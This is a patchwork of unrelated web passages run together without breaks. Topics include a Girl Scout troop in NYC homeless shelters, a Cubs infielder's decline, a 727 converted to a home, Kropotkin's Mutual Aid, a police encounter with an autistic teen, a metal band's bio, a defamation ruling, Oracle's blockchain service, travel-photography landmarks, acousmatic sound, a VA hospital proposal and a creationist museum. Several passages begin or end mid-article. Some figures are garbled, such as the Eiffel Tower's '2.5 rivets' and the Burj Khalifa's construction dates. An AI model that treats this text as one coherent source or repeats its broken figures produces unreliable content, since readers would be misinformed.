The program has been a success, and the New York City government announced this month that it will invest $1.1 million to expand Troop 6000 from two dozen girls at one shelter to as many as 500 girls at 15 shelters across the city.
That's a victory for Giselle Burgess, but it hasn't solved a big problem: Almost a year after losing her apartment, she and her family are still homeless. She's looking for somewhere to live, but she says the size of her family still turns off many landlords.
"I used to worry a lot in the beginning," Burgess says. "I became depressed and upset, [until] I began to look at it as, it's not my time to leave the shelter yet."
For as long as she's at the shelter, Burgess wants her Girl Scouts to learn something from her. Some of the things they learn will go toward merit badges. Some won't.
Barney was one of the longest tenured Cubs, having come up in August of 2010 after leading all of Triple-A in hits with 142 that season. Barney had never been on top prospect lists and his call to the Cubs came as somewhat of a surprise. It was even more of a surprise though, when Barney stuck as a starter with the team beginning in 2011 when he became the regular second baseman.
As a shortstop throughout the minor leagues and in college, Barney became an excellent defender at second base and when combined with his high-contact approach at the plate, Darwin Barney began to prove himself as a capable starting caliber player in the Major Leagues. While his 2011 slash line of .276/.313/.353 wasn’t overly impressive, Barney’s stats that year seemed to lay a decent baseline from which he could improve.
However, in 2012 Barney’s offensive production took a hit despite an improvement in both his walk rate (5.6 percent) and strikeout rate (9.9 percent). Due mostly to a drop in BABIP from .310 in 2011 to .273 in 2012, Barney’s overall line fell to .254/.299/.354. While Barney failed to produce at the plate, all was forgotten every time he made a spectacular play in the field. With a well-deserved Gold Glove award to show for it, Barney again appeared to be a legitimate starting second baseman in the league.
However, in 2013 Barney’s offense took another nosedive. The lack of offensive production could partially be attributed to another fall in BABIP, this time down to .222, but without the ability to find holes in the field Barney became a black hole offensively. His defense remained elite and while Barney’s future with the team was far from assured, he still appeared to be a capable starting second baseman on a strong offensive team.
Instead of showing any kind of improvement though, Barney’s production has continued to slide in 2014 on both offense and defense. His walk rate is at a three-year low (4.1 percent) while his strikeout rate is at a three-year high (14.3 percent) and his on-base percentage of .265 is at an all-time low. While Barney is still an excellent defender, he has not been quite as slick in the field as in year’s past. When all of this is combined with the Cubs burgeoning wave of infield prospects, it was simply time to move on.
Barney became eligible for arbitration last year and both sides settled for a salary of $2.3 million in 2014. That salary is only going to escalate in 2015, making Barney a likely non-tender candidate for the Cubs in the offseason. It would have been ideal for Barney to stay on the team as a bench bat and defensive ace, but it just doesn’t make sense to retain him in that role for $3+ million.
Darwin Barney’s time with the Cubs was already ticking away and this just made it official. By designating Barney for assignment, the Cubs opened up a necessary roster spot and gave themselves 10 days to find him a new home. Hopefully Barney can latch on with a contender and will finally feel what it’s like to play meaningful games down the stretch and into October.
Continental Airlines’ first Boeing 727-224, serial number 19510, made its maiden flight on May 11, 1968. It was registered N88701 and delivered to the airline on May 21, 1968.
The airline operated it until Sept. 20, 1993, when it was stored at Sherman, Texas, before being flown to the Memphis Group in Greenwood, Miss., to be parted in May 1994. Later that year, Joanne Ussery, a 52-year-old hair stylist from Benoit, Miss., found herself looking for a new home.
She looked for a new mobile home, until Bob Farrow, her brother-in-law, an air traffic controller at Greenwood Airport, suggested she look into getting a retired jetliner. She didn’t live very far from the airport in Greenwood, where aircraft salvage companies regularly parted out airliners. Ussery visited the Memphis Group, where Greenwood facility manager, took her on a tour. Upon seeing the scrapped Continental Airlines 727, she responded, “I want it! How much?”
It took some time to get the airplane released. When it was available, she paid $2,000 for it, and hired the Bo Branch House Moving Company to transport her new 127-foot-long airplane, 69 miles to her lakeside plot in Benoit. The move was in December 1994, at a cost of $4,000 and it took two days to complete. Four months and $24,000 were spent turning the 727 into her home.
Ussery did most of the remodeling herself. One original lavatory was kept functional as an aircraft lavatory. Cockpit control wheels were retained to maintain an aircraft look. A garage door opener was used to open and close the rear stairs. The floor plan consisted of three bedrooms, a living room/dining room, a fully equipped kitchen, a laundry area and her favorite room, the master bathroom with a Jacuzzi, in what was once the cockpit. Ussery named her dream house “Little Trump,” a reference to Donald Trump’s $16-million corporate jet, also a Boeing 727. She shared her story with the audiences of TV talk shows like the “Today Show” and “The David Letterman Show.”
Some 90 years later few know of Kropotkin. And the word anarchism has been so stripped of substance that it has come to be equated with chaos and nihilism. This is regrettable, for both the man and the philosophy that he did so much to develop have much to teach us in 2012.
I am astonished Hollywood has yet to discover Kropotkin. For his life is the stuff of great movies. Born to privilege, he spent his life fighting poverty and injustice. A lifelong revolutionary, he was also a world-renowned geographer and zoologist. Indeed, the intersection of politics and science characterized much of his life.
His struggles against tyranny resulted in years in Russian and French jails. The first time he was imprisoned in Russia an outcry by many of the world's best-known scholars led to his release. The second time he engineered a spectacular escape and fled the country. At the end of his life, back in his native Russia, he enthusiastically supported the overthrow of the Tsar but equally strongly condemned Lenin's increasingly authoritarian and violent methods.
In the 1920s Roger N. Baldwin summed up Kropotkin this way.
Kropotkin is referred to by scores of people who knew him in all walks of life as "the noblest man" they ever knew. Oscar Wilde called him one of the two really happy men he had ever met ... In the anarchist movement he was held in the deepest affection by thousands -- "notre Pierre" the French workers called him. Never assuming position of leadership, he nevertheless led by the moral force of his personality and the breadth of his intellect. He combined in extraordinary measure high qualities of character with a fine mind and passionate social feeling. His life made a deep impression on a great range of classes--the whole scientific world, the Russian revolutionary movement, the radical movements of all schools, and in the literary world which cared little or nothing for science or revolution.
For our purposes Kropotkin's most enduring legacy is his work on anarchism, a philosophy of which he was possibly the leading exponent. He came to the view that society was heading in the wrong direction and identified the right direction using the same scientific method that had led him to shock the geography profession by proving that the existing maps of Asia had the mountains running in the wrong direction.
The precipitating event that led Kropotkin to embrace anarchism was the publication of Charles Darwin's Origin of the Species in 1859. While Darwin's thesis that we are descended from the apes was highly controversial, his thesis that natural selection involved a "survival of the fittest" through a violent struggle between and among species was enthusiastically adopted by the 1% of the day to justify every social inequity as an inevitable byproduct of the struggle for existence. Andrew Carnegie insisted that the "law" of competition is "best for the race because it insures the survival of the fittest in every department." "We accept and welcome great inequality (and) the concentration of business...in the hands of a few." The planet's richest man, John D. Rockefeller, bluntly asserted, "The growth of a large business is merely a survival of the fittest...the working out of a law of nature."
In response to a widely distributed essay by Thomas Huxley in the Nineteenth Century, "The Struggle for Existence in Human Society," Kropotkin wrote a series of articles for the same magazine that were later published as the book Mutual Aid.
He found the view of the social Darwinists contradicted by his own empirical research. After five years examining wildlife in Siberia, Kropotkin wrote, "I failed to find -- although I was eagerly looking for it -- that bitter struggle for the means of existence...which was considered by most Darwinists ... as the dominant characteristic -- and the main factory of evolution."
Kropotkin honored Darwin's insights about natural selection but believed the governing principle of natural selection was cooperation, not competition. The fittest were those who cooperated.
"The animal species, in which individual struggle has been reduced to its narrowest limits, and the practice of mutual aid has attained the greatest development, are invariably the most numerous, the most prosperous, and the most open to further progress. ... The unsociable species, on the contrary, are doomed to decay."
He spent the rest of his life promoting that concept and the theory of social structure known as anarchism. To Americans anarchism is synonymous with a lack of order. But to Kropotkin anarchist societies don't lack order but the order emerges from rules designed by those who feel their impact, rules that encourage humanly scaled production systems and maximize individual freedom and social cohesion.
In his article on Anarchy in the 1910 Encyclopedia Britannica Kropotkin defines anarchism as a society "without government -- harmony in such a society being obtained, not by submission to law, or by obedience to any authority, but by free agreements concluded between the various groups, territorial and professional, freely constituted for the sake of production and consumption..."
Mutual Aid was published in 1902. With chapters on animal societies, tribes, medieval cities and modern societies, it makes the scientific case for cooperation. Readers in 2012 may find the chapter on medieval cities the most compelling.
In the 12th to 14th centuries, hundreds of cities emerged around newly formed marketplaces. These marketplaces were so important that laws embraced by kings, bishops and towns protected their providers and customers. As the markets grew, the cities gained autonomy, and organized themselves into political, economic and social structures that to Kropotkin made them an instructive working model of anarchism.
The medieval city was not a centralized state. It was a confederation, divided into four quarters or five to seven sections radiating from a center. In some respects it was structured as a double federation. One consisted of all householders united into small territorial units: the street, the parish, the section. The other was of individuals united by oath into guilds according to their professions.
The guilds established the economic rules. But the guild itself consisted of many interests. "The fact is, that the medieval guild ... was a union of all men connected with a given trade: jurate buyers of raw produce, sellers of manufactured goods, and artisans -- masters, 'compaynes,' and apprentices." It was sovereign in its own sphere, but could not develop rules that interfered with the workings of other guilds.
Four hundred years before Adam Smith, medieval cities had developed rules that allowed the pursuit of self-interest to support the public interest. Unlike Adam Smith's proposal, their tool was a very visible hand indeed.
This mini world of cooperation resulted in remarkable achievements. From cities of 20,000-90,000 people emerged technological as well as artistic developments that still astonish us.
Life in these cities was not nearly as primitive as the Dark Ages to which our history books assign them. Laborers in these medieval cities earned a living wage. Many cities had an 8-hour workday.
Florence in 1336 had 90,000 inhabitants. Some 8-10,000 boys and girls (yes girls) attended primary schools and there were 600 students in four universities. The city boasted 30 hospitals with over 1000 beds.
Indeed, Kropotkin writes, "the more we learn about the medieval city, the more we are convinced that at no time has labor enjoyed such conditions of prosperity and such respect as when city life stood at its highest."
Mutual Aid is rarely read today. No one remembers Petr Kropotkin. But his message and his empirical evidence, that cooperation, not competition, is the driving force behind natural selection, that decentralization is superior to centralization in both governance and economies and that mutual aid and social cohesion should be encouraged over massive social inequity and the exaltation of the individual over society is as relevant to the central debates of our time as it was to the debates of his time.
Due to cultural reasons and a relative distrust of modern medicine, the rate of organ donation in Japan is significantly lower than in Western countries.[3]
History [ edit ]
The first organ transplant in Japan took place at Niigata University in 1956 when a kidney was temporarily transplanted to a patient with acute renal failure.[4] In 1964 a permanent and full-scale kidney transplant was successfully undertaken at the University of Tokyo, and by 1992 nearly 9,000 kidney transplants had taken place.[5] In the same year, a liver transplant was performed at Chiba University by Professor Komei Nakayama.[6] The first heart transplant in Japan was conducted at Sapporo Medical University in 1968 by Dr Wada.[7] This operation attracted concerns that Dr. Wada's evaluation of brain death was inappropriate, and even though an investigation of possible criminal liability was dismissed, a distrust of organ transplanting developed, particularly of transplants from brain dead donors. This brought subsequent developments in transplanting to a halt.[6][8]
Cultural attitudes [ edit ]
The footage, taken the afternoon of July 19, 2017, shows Officer Grossman with the Buckeye Police Department go to the ground with Connor Leibel, 14, in a park in the Verrado community. The news release does not give Officer Grossman's first name.
At one point, you can hear Connor tell Grossman “I’m stimming,” which is a common technique used by people with autism. The officer didn't understand the word and didn't recognize the boy had autism.
He asks Connor for identification, but the teen says he doesn't have any ID and begins to walk away.
The boy screams when the officer puts his hands on him and they fall to the ground. He also shouts multiple times, "I'm OK!"
The incident started when Officer Grossman saw the teen alone in a park.
The release said the boy was "moving his hand to his face in a manner consistent with inhaling, and then [Grossman] observed the teenager's body react accordingly after that movement."
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The officer approached the boy and asked what he was doing, but the teen walked away. That's when the officer "lawfully detained the teenager, causing both of them to fall to the ground," according to the release.
After a couple minutes with the officer holding the teen on the ground, waiting for another officer to arrive, the teen's caretaker arrived and told Grossman that the teen had autism.
The caretaker and the officer worked to keep the teen calm while he was detained on the ground by the officer. The teen was held on the ground for about two minutes, according to police.
Other officers arrived and the teen was released to sit with his caretaker, the release said.
The teen boy suffered abrasions on his back and arm during the encounter, but Buckeye police determined there was "no escalation of force" in the incident.
Buckeye police stressed in the release that officers receive training on a variety of situations, including interactions with people who have disabilities. The release also noted that the department is putting together a voluntary registry of people who suffer mental health crises so officers can better care for them.
The family is seeking justice for Connor and, along with mandatory training for all officers, is asking for a personal apology from the officer and that the officer perform community service with the autistic community.
12 News reached out to the family but they chose not to speak at this time.
From Relapse’s website:
One of the most influential, revered and best-selling death metal bands of all time, OBITUARY formed in the swamplands of South Florida in 1986 after switching their name from Xecutioner. the band signed to Roadracer Records, a now defunct division of Roadrunner, for the recording of their debut album, the immense and immeasurably heavy Slowly We Rot (1989). The album was engineered by the legendary Scott Burns at Morrisound Studio, which would come to be the most sought after facility for production of albums during the rise of death metal in the 1990s. Unlike much death metal preceding it, the album had a sludgy feel and integrated devastatingly slow passages along with obliterating overtures that reached far beyond any point of mayhem that metal had yet to reach. The result was a carnal pleasure for doom, death and thrash fans alike coupling the adrenaline of a speedball with the slow, degrading measures of a sewer at dusk. OBITUARY were unlike anything anyone had heard before and would change the shape of heavy music forever.
OBITUARY followed up Slowly We Rot with Cause of Death (1990), perhaps the band’s most hailed album and an even more chaotic, bass heavy mix of the band’s signature groove, manic guitar solos and crashing drums. The album’s defining feature, however, was vocalist John Tardy’s disarmingly horrific, gargling style, that created guttural chasms of dread which, though often mimicked, have been achieved by no one else. Drastically shifting tempos and Tardy’s unique vocal style became the band’s trademark, which clearly distinguished them from the rest of the burgeoning US death metal scene.
OBITUARY spent the next two decades releasing some of the finest death metal ever put to tape with classics like The End Complete (1992), World Demise (1994), and Frozen in Time (2005) solidifying them as one of the genre’s most important bands of all time. Fast forward to 2014, when after a five year gap between albums, OBITUARY successfully crowdfunded their new album and subsequently partnered with Relapse Records for it’s release. Reinvigorated with a new lineup featuring the additions of legendary bassist Terry Butler (Death, Massacre, Six Feet Under) and lead guitarist Ken Andrews. The result was Inked In Blood (2014) which immediately took the world by storm. The next couple years revolved around an extensive world tour schedule that took them to sold-out venues across the globe including tours with Cannibal Corpse, Carcass and Exodus and multiple mainstage festival appearances including 7000 Tons of Metal, Maryland Deathfest, Hellfest, Obscene Extreme, Full Terror Assault, Neurotic Deathfest, Graspop Metal Meeting, and the band’s own inaugural Florida Metal Fest.
To end 2016, OBITUARY released a surprise, live EP, Ten Thousand Ways to Die, featuring two brand new songs plus twelve classics and fan favorites recorded across eleven different cities during the Inked In Blood world tour. The EP left die-hard fans craving more, unbeknownst that it was just the beginning.
Now in 2017, OBITUARY return with their self-titled, 10th studio album, further cementing their legacy as one of the most important metal bands of all time! Picking up where Inked In Blood left off, OBITUARY show no signs of slowing down as they continue to reign as Kings of death metal. Recorded at their home studio in Tampa, FL, Obituary is a 10 track tour-de-force of bone-pulverising death metal that is as heavy, uncompromising and infectious as anything they’ve released in their historic, nearly 30-year career!
OBITUARY are:
John Tardy – Vocals
Trevor Peres – Guitar
Kenny Andrews – Guitar
Terry Butler – Bass
I have long discussed this issue in my torts class. Common law torts has always treated statements alleging moral turpitude and unchastity as per se categories of defamation. Accusing someone of being gay was long treated as a per se defamatory statement. It was not only viewed as alleging sexual impropriety and immorality but it was a crime in many states. One of the leading cases occurred in 1952 in a New York lawsuit. In Neiman-Marcus v. Lait, 13 FRD 311 (SDNY 1952), employees of that high-end story sued the author of a book titled “U.S.A. Confidential.” The book claimed that some of the models at the story and all of the saleswomen in the Dallas store were “call girls.” It further stated that most of the salesmen in the men’s department were “faggots.” The issue came down to the size of the group. With 382 saleswomen and models, the court found that the group was too large. However, with the 25 salesmen, the court found that an action could be maintained.
However, this is an example of how common law definitions change with society. Not only has the Supreme Court struck down laws criminalizing homosexual relations, but gay and lesbian citizens are now open and accepted in most of our society.
Chin has now taken the long anticipated step of rejecting a claim of homosexuality as per se defamatory, citing “veritable sea change in attitudes about homosexuality.” While rejected a per se category, Chin allowed for the possibility that a jury could still find the statement to be defamatory.
Cosby alleged that Stern had engaged in sex with Larry Birkhead, the man who was ultimately determined to be the father of Smith’s daughter, Dannielynn. Cosby will still face trial in the case. The book contains allegations of pimping Smith, perjury, and possible murder by Stern.
Chin also rules that Stern is not “libel-proof” — a character so notorious that defamation could not harm his non-existent reputation.
The issue of homosexuality as a per se category remains uncertain. Obviously, such a claim may have greater claim as a per se category for a deeply religious person or a minister for example.
Chin’s opinion is extremely well-done and convincing — and worth reading.
For the opinion, click here. The case is Stern v. Cosby, 07 Civ. 8536.
For the story, click here.
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The firm unveiled its enterprise-grade blockchain cloud platform Monday at its OpenWorld 2017 conference in San Francisco. With the initial debut – a public launch is expected sometime next year – Oracle becomes the latest entrant in the “blockchain-as-a-service” ecosystem, joining the likes of IBM and Microsoft, two other tech majors that are courting enterprise customers with their respective cloud-based distributed ledger resources.
Oracle, according to its announcement and statements from execs, is looking at the technology as a way to extend (and streamline) its existing cloud-based offerings, which are largely aimed at the digitization of a range of business functions.
The company wants to attract both large and small firms, but Frank Xiong, Oracle’s group vice president of Blockchain Cloud Service, argued that startups looking to test a smart contract or an application will be able to do so more cheaply using the cloud platform because pricing is based on transaction volume.
“This will give them a very good reasonably priced way to start up their application,” he told CoinDesk. “I personally think this will be a big attraction to these startups.”
For existing ERP customers, the platform will provide a way to connect with outside partners and customers, plugging them into internal channels and processes in a confidential and secure manner.
As Xiong explained:
“This blockchain platform will give them a platform to extend their services beyond their enterprise bundle, which means they can extend them outside to their business partners, advantage customers and so on.”
Though the exact date isn’t clear, Xiong said that the service will be made publicly available some time in 2018.
Dismissing concerns
As one of the largest and most reputable database providers in the world, there is a perception that Oracle might be potentially cannibalizing its core business segment by embracing blockchain, a technology that, by its nature, enables the distribution of information without having to trust a central administrator.
However, Xiong was quick to dismiss those concerns, along with the notion that blockchains and databases should be viewed as competing entities.
“We actually think that this is an advantage to us,” he said, arguing that the idea that blockchains are “distributed databases” is not entirely accurate.
Because copies of data in a blockchain network need to be kept by all of the various peers and nodes, he explained, increased adoption of blockchain among Oracle’s core client base will actually create new demand for the company’s traditional data storage solutions.
He continued:
“In traditional computer science, there is just one copy of the database. In blockchain, all of the ledgers are distributed, so actually everybody gets a copy [of the data]. So this is only going to expand that data storage [requirement].”
Rumors of a professional edition for StarCraft 2 were spread across the internet hours after June 24th when Blizzard held a special reveal in South Korea. This reveal was of plans for scholarships, a big portrait of Jim Raynor over two 747s, but no plan for a professional StarCraft 2 edition that included LAN.
Holman has slowly been rejoining the team on the court this week following the injury, doing what she could. The status of Holman returning to the court was uncertain just yesterday but is seeing the court tonight. Freshman Chesney McClellan replaced Holman when she went down with the injury, not registering any stats in the remainder of the match, but was a ready option for the Huskers.
To start the match, Holman is looking primped and ready to go, not losing a beat. Mid-second set, Holman has 10 kills on 11 sets dominating at the net for the Huskers, keeping them in the match against the #2 ranked Nittany Lions.
Back-to-back kills by Bri! Set 1:
PSU 10
NEB 13 pic.twitter.com/FetqVqXGhg — Husker Volleyball (@Huskervball) September 23, 2017
John Cook was going to take his time returning Holman to the court but the decision to have her play tonight is helping the Huskers tremendously. Up to the first media timeout of the first set, Holman has put down four of the Huskers last five points to help Nebraska to the 15-13 lead. Prior to the start of the Penn State match, Holman had slammed down 77 kills on a .295 hitting clip while also blocking 40 balls, which is a team-best.
A great first step in starting a career in architectural photography is to travel the world. It’s an opportunity to snap photos of amazing and brilliantly designed structures with different architectural styles. And by photographing unique structures around the world, you get a glimpse of the history and culture of the place you’re visiting through your lens.
Before traveling, you need to have the right equipment for the job. Make sure to bring a DSLR camera like the Canon 5DS R that produces ultra-high image resolution and amazing detail for breathtaking architectural photos.
Once you have your photography gear ready, it’s time to start hunting for locations where you can practice shooting amazing architectural wonders. Here are seven of the awesome buildings and structures in the world that make some of the best subjects for photographs:
EIFFEL TOWER
The famous Eiffel Tower was designed by Gustave Eiffel, the same person who designed the spine of the Statue of Liberty in New York City. It was built to represent Paris in the Universal Exposition of 1889. It was supposed to be demolished in 1909 but was repurposed as a radio antenna.
Made by 300 workers, this 1,063-foot structure is made up of 18,032 pieces of iron and 2.5 rivets. Known as the symbol of love, the Eiffel Tower is indeed one of the picturesque landmarks not only in Paris but in the whole world.
While its beauty is already enchanting from afar, it’s better if you get as close as possible to the tower, so you can show its details through your photos. Take a photo of one of its stands or go under it—such an angle will make Eiffel look more imposing on your shots.
BURJ KHALIFA
Currently the world’s tallest building, the Burj Khalifa is certainly an architectural wonder that photographers shouldn’t miss.
Constructed on January 6, 2009 and opened six years after, the 2,716.5-foot building is made of aluminum, glass, steel, and reinforced concrete. This record-breaking building has 163 floors with an observation deck on the 124th floor. It’s next to Dubai Mall, the world’s largest shopping mall, which boasts a spectacular underwater zoo.
The Burj Khalifa has stunning elongated glass that can be used to your advantage. Take a photo of the building from the ground level to emphasize its towering height. You can also try to stay on a roof deck where the Burj Khalifa can stand out from the rest of the buildings, giving justice to its majestic presence.
GREAT WALL OF CHINA
A UNESCO World Heritage site, the Great Wall of China crosses nine provinces in China namely Liaoning, Hebei, Tianjin, Beijing, Inner Mongolia, Shanxi, Shaanxi, Ningxia, and Gansu.
Back in the Qin Dynasty, sticky rice was used to bind together the bricks of the Great Wall, which took more than 1,800 years to build. This 21,196.5-kilometer wall was built by convicted Chinese people more than 2,300 years ago. It was also believed that 400,000 of them died during the construction of this now iconic structure.
For the best photographic spot, go to the Jiankou section of the Great Wall that’s popular for its captivating beauty (especially in mid-April when almond and peach flowers bloom) and steep mountains.
Since the most striking feature of the Great Wall of China is its tremendous length, it’s best if you take advantage of the leading lines, a composition technique that makes it easy for the viewer’s eye to follow through the various elements of the photo.
TAJ MAHAL
The world-famous Taj Mahal is an ivory-white marble mausoleum designed by chief architect Ustad Ahmad Lahauri. It serves as the final resting place of Emperor Shah Jahan’s wife, Arjumand Banu Begum or famously known as Mumtaz Mahal.
While the tomb of his adored wife lies in the center of the Taj Mahal’s cryptic place, Shah Jahan’s is on the west-of-center resting place.
Taj Mahal is built with everything symmetrical on the outside. It also creates an illusion of looking humongous from afar but smaller up close. When shooting Taj Mahal, place your camera at the center, let the path lead the viewer’s eyes to the iconic structure with the water mirroring its beauty. For a more stunning photo, include in your frame the small pond in the front and center of the place.
LA SAGRADA FAMILÍA
Photo by SBA73 / CC BY-SA 2.0
In Barcelona, Spain, La Sagrada Familía is a must-photograph site. It’s a church designed by world-renowned architect Antoni Gaudí who also designed seven nature-inspired and unique structures sprinkled across Barcelona.
The groundbreaking for La Sagrada Familía took place in 1882. Unfortunately, Gaudí died in 1926 with the church only 25% done. Until now, it’s still under construction until 2026, the centennial year of its architect’s death. Once the church is completed, it will have taken longer to built than the Pyramids of Egypt and 50 years shorter than the Great Wall of China.
The facade and exterior of La Sagrada Familía are stunningly crafted, just as the interior is breathtakingly amazing. When composing a shot of this church, look for leading lines and symmetrical views. Make sure to be at the center and don’t leave out any single detail. Manually play with the ISO, shutter speed, and aperture to highlight the colorful mosaic windows of the church.
SYDNEY OPERA HOUSE
Considered one of the top tourist spots in Sydney, Australia, the Sydney Opera House is where theater arts and modern architecture meet. Out of the 233 submitted designs for the Opera House, Jørn Utzon’s 20th-century Modern Expressionism architectural design stood out. Construction started in 1959, and the building was opened in 1973. It houses the Concert Hall Grand Organ, the largest mechanical organ in the world, with 10,154 pipes that took 10 years to build.
The Sydney Opera House is known for its majestic light designs that are flashed on the arched roofs. If you happen to visit at a time that the roof is decorated with graphics, grab the photographic opportunity. Use a telephoto lens and shoot from afar. This can eliminate the unnecessary details that will steal the show at the Opera House.
MARINA BAY SANDS
Marina Bay Sands in Singapore is a 5-star luxury resort that’s dubbed as the most expensive stand-alone integrated resort property in the world with S$8 billion final estimated cost.
Designed by Moshe Safdie and considered one of the top 40 largest hotels in the world, this 55-floor building features 2,561 rooms, a 1.3 million-square-foot exhibition center, an 800,000-square-foot mall known as The Shoppes at Marina Bay Sands, and the world’s largest atrium casino with 500 tables and 1,600 slot machines. Sitting on top of it is a 340-meter long SkyPark garden that can accommodate 3,900 people, as well as a stunning 150-meter infinity pool, which is considered as the world’s longest elevated pool.
It’s best if you take a photo of the luxurious hotel in the Golden Hours (just after sunrise and just before sunset). Since the whole structure is covered in glass, it will look golden and expensive than it already is.
Origins [ edit ]
In 1955, Jérôme Peignot and Pierre Schaeffer were the first to use the term acousmatic to define the listening experience of musique concrète.[5] In his 1966 publication Traité des objets musicaux Schaeffer defined the acousmatic as: Acousmatic, adjective: referring to a sound that one hears without seeing the causes behind it (Schaeffer 1966: 91). Schaeffer held that the acousmatic listening experience was one that reduced sounds to the field of hearing alone. The concept of reduction (epoché), as used in the Husserlian phenomenological tradition, underpinned Schaeffer's conceptualization of the acousmatic experience. In this sense, a subject moves their attention away from the physical object responsible for auditory perception and toward the content of this perception. The purpose of this activity is to become aware of what it is in the field of perception that can be thought of as a certainty. This reductive procedure redirects awareness to hearing alone.[6] Schaeffer remarked that: Often surprised, often uncertain, we discover that much of what we thought we were hearing, was in reality only seen, and explained, by the context (Schaeffer 1966: 93).
Schaeffer derived the word acousmatique from akousmatikoi (hearers), a term used in the time of Pythagoras to refer to his uninitiated students. According to historical records followers of Pythagoras underwent a three-year probationary period, directly followed by a five-year period of "silence", before being admitted to Pythagoras' inner circle as mathêmatikoi (learned). The use of silence related to the protocols of rituals connected with the mystery-like instruction and religious ceremonies of the Pythagorean order. These ceremonies took place behind a veil or curtain with only those who had passed the five-year test being allowed to see their teacher face to face; the remaining students partaking acousmatically.[7][8][9] More recent research suggests that the Pythagorean "veil" itself was a euphemism for the figurative language with which Pythagoras taught, and the actual practice of speaking occluded by either a veil or the dark likely never occurred.[10]
Musique concrète [ edit ]
Film sound [ edit ]
According to the French film sound theorist Michel Chion (1994), in cinema, the acousmatic situation can arise in two different ways: the source of a sound is seen first and is then "acousmatized", or the sound is initially acousmatic with the source being revealed subsequently. The first scenario allows association of a sound with a specific image from the outset, Chion calls this visualised sound (what Schaeffer referred to as direct sound). In this case it becomes an "embodied" sound, "identified with an image, demythologized, classified". In the second instance the sound source remains veiled for some time, to heighten tension, and is only later revealed, a dramatic feature that is commonly used in mystery and suspense based cinema; this has the effect of "de-acousmatizing" the initially hidden source of the sound (Chion 1994, 72). Chion states that "the opposition between visualised and acousmatic provides a basis for the fundamental audiovisual notion of offscreen space" (Chion 1994, 73).
See also [ edit ]
President Lincoln — March 4, 1865
Even in our profoundly politically divided country, one issue has gained substantial bipartisan support — improving health care for America’s military veterans. This motivation, coupled with a need to improve the entire American health care system, offers an opportunity to address another pressing issue, finding shelter for homeless veterans. In the process, there might be a way to fix three massive national, organizational, politically-charged problems with one simple, cost-effective solution.
The Trump administration should consider halting most inpatient health care in Veterans Administration medical centers, moving that care to community hospitals, and converting the VA beds to housing for homeless veterans.
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Several facts make this proposal medically appropriate and cost-effective.
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Considering medical care for veterans, one recalls the crisis uncovered during the Obama administration — excessive wait lists for treatment that reportedly contributed to early mortality. Other evidence suggests that Veterans Administration health care delivery, particularly for inpatients, may also not be as good it can be.
There are 152 Veterans Administration medical centers offering inpatient care; 20,350 inpatient beds handle about 500,000 admissions per year. Putting this number into perspective, VA medical centers constitute 3 percent of America’s total hospitals and 2.6 percent of the nation-wide inpatient beds; yet they result in only 1.4 percent of admissions. That is, VA medical centers do not operate at full capacity.
Also, one study found that over 30 percent of VA admissions contributed to over-utilization due to admission for unclear reasons or prolonged hospitalization. Average length of stay in VA hospitals was 5.2 days in 2012, compared to 4.5 days for community hospitals.
This difference in performance can also be described in financial terms. Although finding comparable data for federal government versus community hospitals is difficult, a study by the American Action Forum found that the VA spends $12,658 annually per patient, compared to $7,025 annually per patient in community hospitals. Even comparing the VA numbers to only the elderly Medicare population, the VA still spends more.
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In most studies community hospitals provide at least comparable, and often better, care than that delivered at VA medical centers. A study by Jackson Healthcare of physicians who worked in both VA and community hospitals found half of them thought care in the VA medical centers was not as good as community hospitals.
Community hospitals have other issues with which to contend. Despite the US population rising from 216 million in 1975 to 320 million in 2015, the number of US hospital beds fell from 1.4 million in 1975 to 924,000 in 2015. Also, hospital occupancy rates have decreased over the last several decades, in part due to dramatic changes in length of stay, with many surgical patients, for example, now going home within a few days instead of weeks.
The falling occupancy rates have contributed to the closure of too many hospitals, including 80 since the implementation of Obamacare. Another 600 hospitals are at risk of closure, according to Nonprofit Quarterly.
The obvious conclusion is that community hospitals, despite the drastic decrease in beds, have excess capacity and are even anxious to identify populations to improve occupancy rates.
The final fact that deserves our attention is the estimated number of homeless veterans in the United States: varying from about 40,000, according to the Department of Labor, to about 50,000, according to Wounded Warriors. The homeless situation in the US is a stain on our national character, and even less tolerable for those who have served to protect our country. This plan would help to house about half of them.
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Thus, closing most VA inpatient beds, allowing veterans needing inpatient care to utilize community hospitals, and then making those VA rooms available for housing homeless veterans, has solid medical and financial foundations.
Retaining care for direct military-related medical issues, such as, combat wounds or PTSD, in military-focused medical centers may be prudent.
Closure of VA outpatient clinics need not be a part of this change.
Since many Americans now recognize the growing troubles with our health care system in total, this may be the perfect time to consider an option that might provide more cost-effective, and maybe better, inpatient care for veterans, and contribute to stabilizing community hospital budgets, while at the same time helping the underserved, and profoundly deserving, subpopulation of homeless veterans. This proposal would go a long way toward keeping our promises to our veterans.
The crazy story of Ken Ham’s Answers in Genesis organization and their ambitious plans keeps getting stranger and stranger. Just a few weeks ago, Ham crowed about having a real Allosaurus skeleton (nicknamed Ebenezer) on display in his Creation “Museum”—a sad loss of an important specimen to science. Not only will it have no sound scientific data to accompany it, but instead it’s going to have the weird pseudoscience of creationist “flood geology” used to interpret it, and provides the creationists with something to brag about. The Creation “Museum” is having their resident “flood geologist” Andrew Snelling study the specimen—even though he doesn’t have any training in paleontology, doesn’t know one bone from another, and obtained his only legitimate training in uranium geology. As blogger Artiofab discovered, the collection was done on a ranch in Colorado by a bunch of creationist students and home-schoolers, and no one with legitimate training in paleontology, taphonomy or sedimentary geology involved or collecting proper data—just “flood geologists” with their distorted view of the geologic record.
As blogger Artiofab commented:
As you can see from photographs of Ebenezer, this specimen no longer has its original preservation; each skeletal element has been prepared out of matrix, presumably during the more than ten years that its private owners had access to it. Have samples of the matrix been saved for future geochemical work on the depositional environment of Ebenezer? If not, then this data is gone, and Ebenezer is devoid of environmental data.Without information from the Creation “Museum”, I have no way of knowing how data-deficient Ebenezer is. Ebenezer could have field notes, photographs of the excavation, and rock matrix samples stored away somewhere. If Ebenezer has these things, then Ebenezer is useful to science. If Ebenezer does not, then Ebenezer is useless scientifically.
Even sadder, the specimen was bought with the backing of Michael Peroutka and the Peroutka Foundation, a notorious racist white supremacist organization, which Ham has not repudiated. Instead, it feeds Ham’s excessive “dino envy”. In Ham’s own words:
While evolutionists use dinosaurs more than anything to promote their worldview, especially to young students, our museum uses dinosaurs to help tell the account of history according to the Bible.For decades I’ve walked through many leading secular museums, like the Smithsonian in Washington, D.C., and have seen their impressive dinosaur skeletons, but they were used for evolution. Now we have one of that class for our museum, and it will help us defend the book of Genesis and expose the scientific problems with evolution.
